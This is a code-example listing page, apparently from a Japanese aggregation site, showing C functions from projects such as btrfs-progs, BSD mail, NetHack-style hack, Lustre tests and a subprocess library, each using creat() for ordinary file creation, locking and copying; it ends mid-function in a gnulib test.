コード例 #1
0
ファイル: cmds-send.c プロジェクト: fougner/btrfs-progs
int cmd_send(int argc, char **argv)
{
	char *subvol = NULL;
	int ret;
	char outname[PATH_MAX];
	struct btrfs_send send;
	u32 i;
	char *mount_root = NULL;
	char *snapshot_parent = NULL;
	u64 root_id = 0;
	u64 parent_root_id = 0;
	int full_send = 1;
	int new_end_cmd_semantic = 0;
	u64 send_flags = 0;

	memset(&send, 0, sizeof(send));
	send.dump_fd = fileno(stdout);
	outname[0] = 0;

	while (1) {
		enum { GETOPT_VAL_SEND_NO_DATA = 256 };
		static const struct option long_options[] = {
			{ "no-data", no_argument, NULL, GETOPT_VAL_SEND_NO_DATA }
		};
		int c = getopt_long(argc, argv, "vec:f:i:p:", long_options, NULL);

		if (c < 0)
			break;

		switch (c) {
		case 'v':
			g_verbose++;
			break;
		case 'e':
			new_end_cmd_semantic = 1;
			break;
		case 'c':
			subvol = realpath(optarg, NULL);
			if (!subvol) {
				ret = -errno;
				error("realpath %s failed: %s\n", optarg, strerror(-ret));
				goto out;
			}

			ret = init_root_path(&send, subvol);
			if (ret < 0)
				goto out;

			ret = get_root_id(&send, get_subvol_name(send.root_path, subvol),
					&root_id);
			if (ret < 0) {
				error("cannot resolve rootid for %s", subvol);
				goto out;
			}

			ret = is_subvol_ro(&send, subvol);
			if (ret < 0)
				goto out;
			if (!ret) {
				ret = -EINVAL;
				error("cloned subvolume %s is not read-only", subvol);
				goto out;
			}

			ret = add_clone_source(&send, root_id);
			if (ret < 0) {
				error("not enough memory");
				goto out;
			}
			subvol_uuid_search_finit(&send.sus);
			free(subvol);
			subvol = NULL;
			if (send.mnt_fd >= 0) {
				close(send.mnt_fd);
				send.mnt_fd = -1;
			}
			free(send.root_path);
			send.root_path = NULL;
			full_send = 0;
			break;
		case 'f':
			if (arg_copy_path(outname, optarg, sizeof(outname))) {
				error("output file path too long (%zu)", strlen(optarg));
				ret = 1;
				goto out;
			}
			break;
		case 'p':
			if (snapshot_parent) {
				error("you cannot have more than one parent (-p)");
				ret = 1;
				goto out;
			}
			snapshot_parent = realpath(optarg, NULL);
			if (!snapshot_parent) {
				ret = -errno;
				error("realpath %s failed: %s", optarg, strerror(-ret));
				goto out;
			}

			ret = is_subvol_ro(&send, snapshot_parent);
			if (ret < 0)
				goto out;
			if (!ret) {
				ret = -EINVAL;
				error("parent subvolume %s is not read-only",
					snapshot_parent);
				goto out;
			}

			full_send = 0;
			break;
		case 'i':
			error("option -i was removed, use -c instead");
			ret = 1;
			goto out;
		case GETOPT_VAL_SEND_NO_DATA:
			send_flags |= BTRFS_SEND_FLAG_NO_FILE_DATA;
			break;
		case '?':
		default:
			error("send arguments invalid");
			ret = 1;
			goto out;
		}
	}

	if (check_argc_min(argc - optind, 1))
		usage(cmd_send_usage);

	if (outname[0]) {
		send.dump_fd = creat(outname, 0600);
		if (send.dump_fd == -1) {
			ret = -errno;
			error("cannot create '%s': %s", outname, strerror(-ret));
			goto out;
		}
	}

	if (isatty(send.dump_fd)) {
		error(
	    "not dumping send stream into a terminal, redirect it into a file");
		ret = 1;
		goto out;
	}

	/* use first send subvol to determine mount_root */
	subvol = argv[optind];

	subvol = realpath(argv[optind], NULL);
	if (!subvol) {
		ret = -errno;
		error("unable to resolve %s", argv[optind]);
		goto out;
	}

	ret = init_root_path(&send, subvol);
	if (ret < 0)
		goto out;

	if (snapshot_parent != NULL) {
		ret = get_root_id(&send,
				get_subvol_name(send.root_path, snapshot_parent),
				&parent_root_id);
		if (ret < 0) {
			error("could not resolve rootid for %s", snapshot_parent);
			goto out;
		}

		ret = add_clone_source(&send, parent_root_id);
		if (ret < 0) {
			error("not enough memory");
			goto out;
		}
	}

	for (i = optind; i < argc; i++) {
		free(subvol);
		subvol = realpath(argv[i], NULL);
		if (!subvol) {
			ret = -errno;
			error("unable to resolve %s", argv[i]);
			goto out;
		}

		ret = find_mount_root(subvol, &mount_root);
		if (ret < 0) {
			error("find_mount_root failed on %s: %s", subvol,
				strerror(-ret));
			goto out;
		}
		if (ret > 0) {
			error("%s does not belong to btrfs mount point",
				subvol);
			ret = -EINVAL;
			goto out;
		}
		if (strcmp(send.root_path, mount_root) != 0) {
			ret = -EINVAL;
			error("all subvolumes must be from the same filesystem");
			goto out;
		}
		free(mount_root);

		ret = is_subvol_ro(&send, subvol);
		if (ret < 0)
			goto out;
		if (!ret) {
			ret = -EINVAL;
			error("subvolum %s is not read-only", subvol);
			goto out;
		}
	}

	if (send_flags & BTRFS_SEND_FLAG_NO_FILE_DATA)
		printf("Mode NO_FILE_DATA enabled\n");

	for (i = optind; i < argc; i++) {
		int is_first_subvol;
		int is_last_subvol;

		free(subvol);
		subvol = argv[i];

		fprintf(stderr, "At subvol %s\n", subvol);

		subvol = realpath(subvol, NULL);
		if (!subvol) {
			ret = -errno;
			error("realpath %s failed: %s", argv[i], strerror(-ret));
			goto out;
		}

		if (!full_send && !parent_root_id) {
			ret = find_good_parent(&send, root_id, &parent_root_id);
			if (ret < 0) {
				error("parent determination failed for %lld",
					root_id);
				goto out;
			}
		}

		ret = is_subvol_ro(&send, subvol);
		if (ret < 0)
			goto out;
		if (!ret) {
			ret = -EINVAL;
			error("subvolume %s is not read-only", subvol);
			goto out;
		}

		if (new_end_cmd_semantic) {
			/* require new kernel */
			is_first_subvol = (i == optind);
			is_last_subvol = (i == argc - 1);
		} else {
			/* be compatible to old and new kernel */
			is_first_subvol = 1;
			is_last_subvol = 1;
		}
		ret = do_send(&send, parent_root_id, is_first_subvol,
			      is_last_subvol, subvol, send_flags);
		if (ret < 0)
			goto out;

		/* done with this subvol, so add it to the clone sources */
		ret = add_clone_source(&send, root_id);
		if (ret < 0) {
			error("not enough memory");
			goto out;
		}

		parent_root_id = 0;
		full_send = 0;
	}

	ret = 0;

out:
	free(subvol);
	free(snapshot_parent);
	free(send.clone_sources);
	if (send.mnt_fd >= 0)
		close(send.mnt_fd);
	free(send.root_path);
	subvol_uuid_search_finit(&send.sus);
	return !!ret;
}
コード例 #2
0
ファイル: ccn-lite-mkC.c プロジェクト: basilkohler/ccn-lite
int
main(int argc, char *argv[])
{
    unsigned char body[64*1024];
    unsigned char out[65*1024];
    unsigned char *publisher = 0;
    char *infname = 0, *outfname = 0;
    int i = 0, f, len, opt, plen;
    char *prefix[CCNL_MAX_NAME_COMP], *cp;
    
    private_key_path = 0;
    witness = 0;

    while ((opt = getopt(argc, argv, "hi:o:p:k:w:")) != -1) {
        switch (opt) {
        case 'i':
	    infname = optarg;
	    break;
        case 'o':
	    outfname = optarg;
	    break;
        case 'k':
            private_key_path = optarg;
            break;
        case 'w':
            witness = optarg;
            break;
        case 'p':
	    publisher = (unsigned char*)optarg;
	    plen = unescape_component(publisher);
	    if (plen != 32) {
		fprintf(stderr,
		 "publisher key digest has wrong length (%d instead of 32)\n",
		 plen);
		exit(-1);
	    }
	    break;
        case 'h':
        default:
Usage:
	    fprintf(stderr, "usage: %s [options] URI\n"
	    "  -i FNAME   input file (instead of stdin)\n"
	    "  -o FNAME   output file (instead of stdout)\n"
	    "  -p DIGEST  publisher fingerprint\n"
            "  -k FNAME   publisher private key\n"  
            "  -w STRING  witness\n"       ,
	    argv[0]);
	    exit(1);
        }
    }

    if (!argv[optind]) 
	goto Usage;
    cp = strtok(argv[optind], "/");
    while (i < (CCNL_MAX_NAME_COMP - 1) && cp) {
	prefix[i++] = cp;
	cp = strtok(NULL, "/");
    }
    prefix[i] = NULL;

    if (infname) {
	f = open(infname, O_RDONLY);
      if (f < 0)
	perror("file open:");
    } else
      f = 0;
    len = read(f, body, sizeof(body));
    close(f);

    len = mkContent(prefix, publisher, plen, body, len, out);

    if (outfname) {
	f = creat(outfname, 0666);
      if (f < 0)
	perror("file open:");
    } else
      f = 1;
    write(f, out, len);
    close(f);

    return 0;
}
コード例 #3
0
ファイル: quit.c プロジェクト: dank101/386BSD
quit()
{
	int mcount, p, modify, autohold, anystat, holdbit, nohold;
	FILE *ibuf, *obuf, *fbuf, *rbuf, *readstat, *abuf;
	register struct message *mp;
	register int c;
	extern char tempQuit[], tempResid[];
	struct stat minfo;
	char *mbox;

	/*
	 * If we are read only, we can't do anything,
	 * so just return quickly.
	 */
	if (readonly)
		return;
	/*
	 * If editing (not reading system mail box), then do the work
	 * in edstop()
	 */
	if (edit) {
		edstop();
		return;
	}

	/*
	 * See if there any messages to save in mbox.  If no, we
	 * can save copying mbox to /tmp and back.
	 *
	 * Check also to see if any files need to be preserved.
	 * Delete all untouched messages to keep them out of mbox.
	 * If all the messages are to be preserved, just exit with
	 * a message.
	 */

	fbuf = Fopen(mailname, "r");
	if (fbuf == NULL)
		goto newmail;
	flock(fileno(fbuf), LOCK_EX);
	rbuf = NULL;
	if (fstat(fileno(fbuf), &minfo) >= 0 && minfo.st_size > mailsize) {
		printf("New mail has arrived.\n");
		rbuf = Fopen(tempResid, "w");
		if (rbuf == NULL || fbuf == NULL)
			goto newmail;
#ifdef APPEND
		fseek(fbuf, mailsize, 0);
		while ((c = getc(fbuf)) != EOF)
			(void) putc(c, rbuf);
#else
		p = minfo.st_size - mailsize;
		while (p-- > 0) {
			c = getc(fbuf);
			if (c == EOF)
				goto newmail;
			(void) putc(c, rbuf);
		}
#endif
		Fclose(rbuf);
		if ((rbuf = Fopen(tempResid, "r")) == NULL)
			goto newmail;
		rm(tempResid);
	}

	/*
	 * Adjust the message flags in each message.
	 */

	anystat = 0;
	autohold = value("hold") != NOSTR;
	holdbit = autohold ? MPRESERVE : MBOX;
	nohold = MBOX|MSAVED|MDELETED|MPRESERVE;
	if (value("keepsave") != NOSTR)
		nohold &= ~MSAVED;
	for (mp = &message[0]; mp < &message[msgCount]; mp++) {
		if (mp->m_flag & MNEW) {
			mp->m_flag &= ~MNEW;
			mp->m_flag |= MSTATUS;
		}
		if (mp->m_flag & MSTATUS)
			anystat++;
		if ((mp->m_flag & MTOUCH) == 0)
			mp->m_flag |= MPRESERVE;
		if ((mp->m_flag & nohold) == 0)
			mp->m_flag |= holdbit;
	}
	modify = 0;
	if (Tflag != NOSTR) {
		if ((readstat = Fopen(Tflag, "w")) == NULL)
			Tflag = NOSTR;
	}
	for (c = 0, p = 0, mp = &message[0]; mp < &message[msgCount]; mp++) {
		if (mp->m_flag & MBOX)
			c++;
		if (mp->m_flag & MPRESERVE)
			p++;
		if (mp->m_flag & MODIFY)
			modify++;
		if (Tflag != NOSTR && (mp->m_flag & (MREAD|MDELETED)) != 0) {
			char *id;

			if ((id = hfield("article-id", mp)) != NOSTR)
				fprintf(readstat, "%s\n", id);
		}
	}
	if (Tflag != NOSTR)
		Fclose(readstat);
	if (p == msgCount && !modify && !anystat) {
		printf("Held %d message%s in %s\n",
			p, p == 1 ? "" : "s", mailname);
		Fclose(fbuf);
		return;
	}
	if (c == 0) {
		if (p != 0) {
			writeback(rbuf);
			Fclose(fbuf);
			return;
		}
		goto cream;
	}

	/*
	 * Create another temporary file and copy user's mbox file
	 * darin.  If there is no mbox, copy nothing.
	 * If he has specified "append" don't copy his mailbox,
	 * just copy saveable entries at the end.
	 */

	mbox = expand("&");
	mcount = c;
	if (value("append") == NOSTR) {
		if ((obuf = Fopen(tempQuit, "w")) == NULL) {
			perror(tempQuit);
			Fclose(fbuf);
			return;
		}
		if ((ibuf = Fopen(tempQuit, "r")) == NULL) {
			perror(tempQuit);
			rm(tempQuit);
			Fclose(obuf);
			Fclose(fbuf);
			return;
		}
		rm(tempQuit);
		if ((abuf = Fopen(mbox, "r")) != NULL) {
			while ((c = getc(abuf)) != EOF)
				(void) putc(c, obuf);
			Fclose(abuf);
		}
		if (ferror(obuf)) {
			perror(tempQuit);
			Fclose(ibuf);
			Fclose(obuf);
			Fclose(fbuf);
			return;
		}
		Fclose(obuf);
		close(creat(mbox, 0600));
		if ((obuf = Fopen(mbox, "r+")) == NULL) {
			perror(mbox);
			Fclose(ibuf);
			Fclose(fbuf);
			return;
		}
	}
	if (value("append") != NOSTR) {
		if ((obuf = Fopen(mbox, "a")) == NULL) {
			perror(mbox);
			Fclose(fbuf);
			return;
		}
		fchmod(fileno(obuf), 0600);
	}
	for (mp = &message[0]; mp < &message[msgCount]; mp++)
		if (mp->m_flag & MBOX)
			if (send(mp, obuf, saveignore, NOSTR) < 0) {
				perror(mbox);
				Fclose(ibuf);
				Fclose(obuf);
				Fclose(fbuf);
				return;
			}

	/*
	 * Copy the user's old mbox contents back
	 * to the end of the stuff we just saved.
	 * If we are appending, this is unnecessary.
	 */

	if (value("append") == NOSTR) {
		rewind(ibuf);
		c = getc(ibuf);
		while (c != EOF) {
			(void) putc(c, obuf);
			if (ferror(obuf))
				break;
			c = getc(ibuf);
		}
		Fclose(ibuf);
		fflush(obuf);
	}
	trunc(obuf);
	if (ferror(obuf)) {
		perror(mbox);
		Fclose(obuf);
		Fclose(fbuf);
		return;
	}
	Fclose(obuf);
	if (mcount == 1)
		printf("Saved 1 message in mbox\n");
	else
		printf("Saved %d messages in mbox\n", mcount);

	/*
	 * Now we are ready to copy back preserved files to
	 * the system mailbox, if any were requested.
	 */

	if (p != 0) {
		writeback(rbuf);
		Fclose(fbuf);
		return;
	}

	/*
	 * Finally, remove his /usr/mail file.
	 * If new mail has arrived, copy it back.
	 */

cream:
	if (rbuf != NULL) {
		abuf = Fopen(mailname, "r+");
		if (abuf == NULL)
			goto newmail;
		while ((c = getc(rbuf)) != EOF)
			(void) putc(c, abuf);
		Fclose(rbuf);
		trunc(abuf);
		Fclose(abuf);
		alter(mailname);
		Fclose(fbuf);
		return;
	}
	demail();
	Fclose(fbuf);
	return;

newmail:
	printf("Thou hast new mail.\n");
	if (fbuf != NULL)
		Fclose(fbuf);
}
コード例 #4
0
ファイル: copy.c プロジェクト: carriercomm/stormos-installer
/*
 * Copy a file to a new destination
 */
static boolean_t
copy_file (const char *path, const char *dest, const struct stat *statptr)
{
	int in_fd, out_fd;
	struct stat in_stat;
	off_t offset = 0;

	/*
	 * Stat the file if the caller hasn't
	 */
	if (statptr == NULL)
	{
		if (stat (path, &in_stat) == -1)
		{
			fprintf (stderr, "Unable to stat file %s: %s\n", path, strerror (errno));
			return B_FALSE;
		}
	}
	else
		in_stat = *statptr;

	/*
	 * Open the files
	 */
	if ((in_fd = open (path, O_RDONLY)) == -1)
	{
		fprintf (stderr, "Unable to open file %s: %s\n", path, strerror (errno));
		return B_FALSE;
	}

	if ((out_fd = creat (dest, in_stat.st_mode)) == -1)
	{
		if (errno == EEXIST)
		{
			if (unlink (dest) == -1)
			{
				fprintf (stderr, "Unable to remove file %s: %s\n", dest, strerror (errno));
				(void) close (in_fd);
				return B_FALSE;
			}

			if ((out_fd = creat (dest, in_stat.st_mode)) == -1)
			{
				fprintf (stderr, "Unable to recreate file %s: %s\n", dest, strerror (errno));
				(void) close (in_fd);
				return B_FALSE;
			}
		}
		else
		{
			fprintf (stderr, "Unable to create file %s: %s\n", dest, strerror (errno));
			(void) close (in_fd);
			return B_FALSE;
		}
	}

	/*
	 * Copy ownership
	 */
	if (chown (dest, in_stat.st_uid, in_stat.st_gid) == -1)
	{
		fprintf (stderr, "Unable to chown file %s: %s\n", dest, strerror (errno));
		(void) close (in_fd);
		(void) close (out_fd);
		return B_FALSE;
	}

	/*
	 * Copy contents over
	 */
	if (sendfile (out_fd, in_fd, &offset, in_stat.st_size) == -1)
	{
		fprintf (stderr, "Unable to copy file %s: %s\n", path, strerror (errno));
		(void) close (in_fd);
		(void) close (out_fd);
		return B_FALSE;
	}

	(void) close (in_fd);
	(void) close (out_fd);
	return B_TRUE;
}
コード例 #5
0
ファイル: hack.unix.c プロジェクト: AhmadTux/DragonFlyBSD
void
getlock(void)
{
	int i = 0, fd;

	fflush(stdout);

	/* we ignore QUIT and INT at this point */
	if (link(HLOCK, LLOCK) == -1) {
		int errnosv = errno;

		perror(HLOCK);
		printf("Cannot link %s to %s\n", LLOCK, HLOCK);
		switch (errnosv) {
		case ENOENT:
			printf("Perhaps there is no (empty) file %s ?\n", HLOCK);
			break;
		case EACCES:
			printf("It seems you don't have write permission here.\n");
			break;
		case EEXIST:
			printf("(Try again or rm %s.)\n", LLOCK);
			break;
		default:
			printf("I don't know what is wrong.");
		}
		getret();
		error("%s", "");
		/* NOTREACHED */
	}

	regularize(lock);
	glo(0);
	if (locknum > 25)
		locknum = 25;

	do {
		if (locknum)
			lock[0] = 'a' + i++;

		if ((fd = open(lock, O_RDONLY)) == -1) {
			if (errno == ENOENT)	/* no such file */
				goto gotlock;
			perror(lock);
			unlink(LLOCK);
			error("Cannot open %s", lock);
		}

		if (veryold(fd)) /* if true, this closes fd and unlinks lock */
			goto gotlock;
		close(fd);
	} while (i < locknum);

	unlink(LLOCK);
	error(locknum ? "Too many hacks running now."
	      : "There is a game in progress under your name.");
gotlock:
	fd = creat(lock, FMASK);
	if (unlink(LLOCK) == -1)
		error("Cannot unlink %s.", LLOCK);
	if (fd == -1) {
		error("cannot creat lock file.");
	} else {
		if (write(fd, (char *)&hackpid, sizeof(hackpid))
		    != sizeof(hackpid))
			error("cannot write lock");
		if (close(fd) == -1)
			error("cannot close lock");
	}
}
コード例 #6
0
/* Test open/lock/close without unlocking */
static void test11(void)
{
	int rc;
	int fd;
	int gid;
	char buf[10000];

	/* Create the test file. */
	fd = creat(mainpath, 0);
	ASSERTF(fd >= 0, "creat failed for '%s': %s",
		mainpath, strerror(errno));
	memset(buf, 0x5a, sizeof(buf));
	rc = write(fd, buf, sizeof(buf));
	ASSERTF(rc == sizeof(buf), "write failed for '%s': %s",
		mainpath, strerror(errno));
	close(fd);

	/* Open/lock and close many times. Open with different
	 * flags. */
	for (gid = 1; gid < 10000; gid++) {
		int oflags = O_RDONLY;

		switch (gid % 10) {
		case 0:
			oflags = O_RDONLY;
			break;
		case 1:
			oflags = O_WRONLY;
			break;
		case 2:
			oflags = O_WRONLY | O_APPEND;
			break;
		case 3:
			oflags = O_WRONLY | O_CLOEXEC;
			break;
		case 4:
			oflags = O_WRONLY | O_DIRECT;
			break;
		case 5:
			oflags = O_WRONLY | O_NOATIME;
			break;
		case 6:
			oflags = O_WRONLY | O_SYNC;
			break;
		case 7:
			oflags = O_RDONLY | O_DIRECT;
			break;
		case 8:
			oflags = O_RDWR;
			break;
		case 9:
			oflags = O_RDONLY | O_LOV_DELAY_CREATE;
			break;
		}

		fd = open(mainpath, oflags);
		ASSERTF(fd >= 0, "open failed for '%s': %s (oflags=%d, gid=%d)",
			mainpath, strerror(errno), oflags, gid);

		rc = ioctl(fd, LL_IOC_GROUP_LOCK, gid);
		ASSERTF(rc == 0, "cannot lock '%s': %s (oflags=%d, gid=%d)",
			mainpath, strerror(errno), oflags, gid);

		close(fd);
	}
}
コード例 #7
0
/* Test lock / unlock */
static void test10(void)
{
	int rc;
	int fd;
	int gid;
	int i;

	/* Create the test file, and open it. */
	fd = creat(mainpath, 0);
	ASSERTF(fd >= 0, "creat failed for '%s': %s",
		mainpath, strerror(errno));

	/* Valid command first. */
	gid = 1234;
	rc = ioctl(fd, LL_IOC_GROUP_LOCK, gid);
	ASSERTF(rc == 0, "cannot lock '%s': %s",
		mainpath, strerror(errno));
	rc = ioctl(fd, LL_IOC_GROUP_UNLOCK, gid);
	ASSERTF(rc == 0, "cannot unlock '%s': %s",
		mainpath, strerror(errno));

	/* Again */
	gid = 768;
	for (i = 0; i < 1000; i++) {
		rc = ioctl(fd, LL_IOC_GROUP_LOCK, gid);
		ASSERTF(rc == 0,
			"cannot lock '%s': %s (loop %d)",
			mainpath, strerror(errno), i);
		rc = ioctl(fd, LL_IOC_GROUP_UNLOCK, gid);
		ASSERTF(rc == 0,
			"cannot unlock '%s': %s (loop %d)",
			mainpath, strerror(errno), i);
	}

	/* Lock twice. */
	gid = 97486;
	rc = ioctl(fd, LL_IOC_GROUP_LOCK, gid);
	ASSERTF(rc == 0, "cannot lock '%s': %s", mainpath, strerror(errno));
	rc = ioctl(fd, LL_IOC_GROUP_LOCK, gid);
	ASSERTF(rc == -1 && errno == EINVAL,
		"lock unexpectedly granted for '%s': %s",
		mainpath, strerror(errno));
	rc = ioctl(fd, LL_IOC_GROUP_UNLOCK, gid);
	ASSERTF(rc == 0, "cannot unlock '%s': %s", mainpath, strerror(errno));
	rc = ioctl(fd, LL_IOC_GROUP_UNLOCK, gid);
	ASSERTF(rc == -1 && errno == EINVAL, "unexpected unlock retval: %d %s",
		rc, strerror(errno));

	/* 0 is an invalid gid */
	gid = 0;
	rc = ioctl(fd, LL_IOC_GROUP_LOCK, gid);
	ASSERTF(rc == -1 && errno == EINVAL, "unexpected lock retval: %s",
		strerror(errno));

	/* Lock/unlock with a different gid */
	gid = 3543;
	rc = ioctl(fd, LL_IOC_GROUP_LOCK, gid);
	ASSERTF(rc == 0, "cannot lock '%s': %s", mainpath, strerror(errno));
	for (gid = -10; gid < 10; gid++) {
		rc = ioctl(fd, LL_IOC_GROUP_UNLOCK, gid);
		ASSERTF(rc == -1 && errno == EINVAL,
			"unexpected unlock retval: %d %s (gid %d)",
			rc, strerror(errno), gid);
	}
	gid = 3543;
	rc = ioctl(fd, LL_IOC_GROUP_UNLOCK, gid);
	ASSERTF(rc == 0, "cannot unlock '%s': %s", mainpath, strerror(errno));

	close(fd);
}
コード例 #8
0
ファイル: frw.c プロジェクト: fredrickprashanth/sugarnspice
int 
main(int argc, char *argv[])
{
	char **argp = ++argv;
	char *fname;
	char *op;
	int max_pages;
	int rest_secs;
	int iteration = 0;

#define NARGS 4
	if(argc < NARGS + 1)
	{
		printf("frw <fname> <op=r/w> <max_pages> <rest_secs>\n");
		printf("op = r - read , w - random, s - fsync write\n");
		return -2;
	}  
	fname = *argp++;
	op = *argp++;
	sscanf(*argp++, "%d", &max_pages);
	sscanf(*argp++, "%d", &rest_secs);
	printf("fname = %s op=%s  max_pages = %d rest_secs = %d\n", fname, op, max_pages, rest_secs);
	
	if(op[0] == 'r')
	{
		slam_fd = open(fname, O_RDWR);
	}
	else
	{
		slam_fd = open(fname, O_WRONLY| O_TRUNC);
		if(slam_fd < 0 )
			slam_fd = creat(fname, 0666);
		
	}
	if(slam_fd < 0)
	{
		perror("open:");
		return -2;
	}

	signal(SIGINT, sigterm_hdlr);
	signal(SIGTERM, sigterm_hdlr);

	while(1)
	{
		timeit(NULL);
		if(op[0] == 'r')
		{
			read_fd(slam_fd, max_pages, op[1]=='r');
			timeit("read");
		}
		else
		{
			write_fd(slam_fd, max_pages, op[1]=='r');
			if(op[0] == 's')
			{
				fsync(slam_fd);
				timeit("write fsync");
			}
			else
			{
				timeit("write");
			}
		}
		printf("%d:iter=%d\n", getpid(), iteration++);
		
		sleep(rest_secs);
	}
	
	return 0;
	 
}
コード例 #9
0
/* Function for opening subprocesses. Returns 0 on success and -1 on failure.
   On failure, errmsg_out shall contain a '\0'-terminated error message. */
static int dopopen(const char *const *args,  /* program arguments with NULL sentinel */
                   const char *executable,   /* actual executable */
                   struct fdinfo fdinfo[3],  /* info for stdin/stdout/stderr */
                   int close_fds,            /* 1 to close all fds */
                   int binary,               /* 1 to use binary files */
                   const char *cwd,          /* working directory for program */
                   struct proc *proc,        /* populated on success! */
                   FILE *pipe_ends_out[3],   /* pipe ends are put here */
                   char errmsg_out[],        /* written to on failure */
                   size_t errmsg_len         /* length of errmsg_out (EXCLUDING sentinel) */
                  )
#if defined(OS_POSIX)
{
    int fds[3];
    int i;
    struct fdinfo *fdi;
    int piperw[2];
    int errpipe[2]; /* pipe for returning error status */
    int flags;
    int en; /* saved errno */
    int count;
    pid_t pid;

    errmsg_out[errmsg_len] = '\0';

    for (i=0; i<3; ++i)
        pipe_ends_out[i] = NULL;

    /* Manage stdin/stdout/stderr */
    for (i=0; i<3; ++i) {
        fdi = &fdinfo[i];
        switch (fdi->mode) {
        case FDMODE_INHERIT:
inherit:
            fds[i] = dup(i);
            if (fds[i] == -1) {
fd_failure:
                strncpy(errmsg_out, strerror(errno), errmsg_len + 1);
                closefds(fds, i);
                closefiles(pipe_ends_out, i);
                return -1;
            }
            break;
        case FDMODE_FILENAME:
            if (i == STDIN_FILENO) {
                if ((fds[i] = open(fdi->info.filename, O_RDONLY)) == -1) goto fd_failure;
            } else {
                if ((fds[i] = creat(fdi->info.filename, 0666)) == -1) goto fd_failure;
            }
            break;
        case FDMODE_FILEDES:
            if ((fds[i] = dup(fdi->info.filedes)) == -1) goto fd_failure;
            break;
        case FDMODE_FILEOBJ:
            if ((fds[i] = dup(fileno(fdi->info.fileobj))) == -1) goto fd_failure;
            break;
        case FDMODE_PIPE:
            if (pipe(piperw) == -1) goto fd_failure;
            if (i == STDIN_FILENO) {
                fds[i] = piperw[0]; /* give read end to process */
                if ((pipe_ends_out[i] = fdopen(piperw[1], "w")) == NULL) goto fd_failure;
            } else {
                fds[i] = piperw[1]; /* give write end to process */
                if ((pipe_ends_out[i] = fdopen(piperw[0], "r")) == NULL) goto fd_failure;
            }
            break;
        case FDMODE_STDOUT:
            if (i == STDERR_FILENO) {
                if ((fds[STDERR_FILENO] = dup(fds[STDOUT_FILENO])) == -1) goto fd_failure;
            } else goto inherit;
            break;
        }
    }

    /* Find executable name */
    if (!executable) {
        /* use first arg */
        executable = args[0];
    }
    assert(executable != NULL);

    /* Create a pipe for returning error status */
    if (pipe(errpipe) == -1) {
        strncpy(errmsg_out, strerror(errno), errmsg_len + 1);
        closefds(fds, 3);
        closefiles(pipe_ends_out, 3);
        return -1;
    }
    /* Make write end close on exec */
    flags = fcntl(errpipe[1], F_GETFD);
    if (flags == -1) {
pipe_failure:
        strncpy(errmsg_out, strerror(errno), errmsg_len + 1);
        closefds(errpipe, 2);
        closefds(fds, 3);
        closefiles(pipe_ends_out, 3);
        return -1;
    }
    if (fcntl(errpipe[1], F_SETFD, flags | FD_CLOEXEC) == -1) goto pipe_failure;

    /* Do the fork/exec (TODO: use vfork somehow?) */
    pid = fork();
    if (pid == -1) goto pipe_failure;
    else if (pid == 0) {
        /* child */
        close(errpipe[0]);

        /* dup file descriptors */
        for (i=0; i<3; ++i) {
            if (dup2(fds[i], i) == -1) goto child_failure;
        }

        /* close other fds */
        if (close_fds) {
            for (i=3; i<sysconf(_SC_OPEN_MAX); ++i) {
                if (i != errpipe[1])
                    close(i);
            }
        }

        /* change directory */
        if (cwd && chdir(cwd)) goto child_failure;

        /* exec! Farewell, subprocess.c! */
        execvp(executable, (char *const*) args); /* XXX: const cast */

        /* Oh dear, we're still here. */
child_failure:
        en = errno;
        write(errpipe[1], &en, sizeof en);
        _exit(1);
    }

    /* parent */
    /* close unneeded fds */
    closefds(fds, 3);
    close(errpipe[1]);

    /* read errno from child */
    while ((count = read(errpipe[0], &en, sizeof en)) == -1)
        if (errno != EAGAIN && errno != EINTR) break;
    if (count > 0) {
        /* exec failed */
        close(errpipe[0]);
        strncpy(errmsg_out, strerror(en), errmsg_len + 1);
        return -1;
    }
    close(errpipe[0]);

    /* Child is now running */
    proc->done = 0;
    proc->pid = pid;
    return 0;
}
コード例 #10
0
int main(int argc, char** argv) {
	int numPlayers;
	char s[BUFFSIZE];
	char s2[10];
	int win[MAX_PLAYERS];
	int player;
	int seed;
	int result;
	int i;
	
	success = 1;
	if ((rfs = fopen(GAME_RESULTS, "r")) == NULL) {
		printf("could not open %s\n", GAME_RESULTS);
		exit(1);
	}
	if ((wfd = creat(ALT_GAME_RESULTS, PERMISSIONS)) == -1) {
		printf("could not open %s\n", ALT_GAME_RESULTS);
		exit(1);
	}
	
	// setup
	fgets(s, BUFFSIZE, rfs);
	write(wfd, s, strlen(s));
	numPlayers = (int) strtol(s, (char**) NULL, 10);
	fgets(s, BUFFSIZE, rfs);
	write(wfd, s, strlen(s));
	seed = (int) strtol(s, (char**) NULL, 10);
	fgets(s, BUFFSIZE, rfs);
	write(wfd, s, strlen(s));
	k[0] = (int) strtol(strtok(s, ","), (char**) NULL, 10);
	for (i = 1; i < 10; i++) {
		k[i] = (int) strtol(strtok(NULL, ","), (char**) NULL, 10);
	}
	result = initializeGame(numPlayers, k, seed, &gs);
	if (result == -1) {
		printf("initializeGame returned -1\n");
		exit(1);
	}

	// play game
	player = 0;
	while(1) {
		if (gs.whoseTurn != player) {
			success = 0;
			printf("wrong turn, expected %d, found %d\n",
				player, gs.whoseTurn);
			player = gs.whoseTurn;
		}
		fgets(s, BUFFSIZE, rfs);
		if (s[0] == '*')
			break;
		sprintf(s, "> player %d:\n", player);
		write(wfd, s, strlen(s));
		act(s);
		write(wfd, "a\n", 2);
		buy(s);
		write(wfd, "b\n", 2);
		if (isGameOver(&gs))
			break;
		if (gs.outpostPlayed) {
			if (gs.whoseTurn != player) {
				success = 0;
				printf("wrong turn after outpost, expected %d, found %d\n",
					player, gs.whoseTurn);
				player = gs.whoseTurn;
			}
			fgets(s, BUFFSIZE, rfs);
			if (s[0] == '*')
				break;
			sprintf(s, "> outpost:\n");
			write(wfd, s, strlen(s));
			act(s);
			write(wfd, "a\n", 2);
			buy(s);
			write(wfd, "b\n", 2);
			if (isGameOver(&gs))
				break;
		}
		
		endTurn(&gs);
		player = (player + 1) % numPlayers;
	}

	// end game
	if (isGameOver(&gs)) {
		getWinners(win, &gs);
		sprintf(s, "* ");
	} else {
		getWinners(win, &gs);
		sprintf(s, "game is not over ");
	}
	for (i = 0; i < gs.numPlayers; i++) {
		if (win[i]) {
			sprintf(s2, "%d,", i);
			strcat(s, s2);
		}
	}
	s[strlen(s)-1] = '\n';
	write(wfd, s, strlen(s));
	fclose(rfs);
	close(wfd);
	
	if (success)
		printf("success\n");
	
	return 0;
}
コード例 #11
0
ファイル: test-utimensat.c プロジェクト: MikeMarcin/gnulib
int
main (void)
{
  int result1; /* Skip because of no symlink support.  */
  int result2; /* Skip because of no lutimens support.  */
  int fd;

